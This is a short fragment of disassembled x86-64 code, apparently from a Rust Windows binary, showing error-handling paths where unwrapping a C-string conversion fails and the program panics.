lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
movdqu xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4e88]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800c6090]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h1d641fe98f6b5aec
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
ud2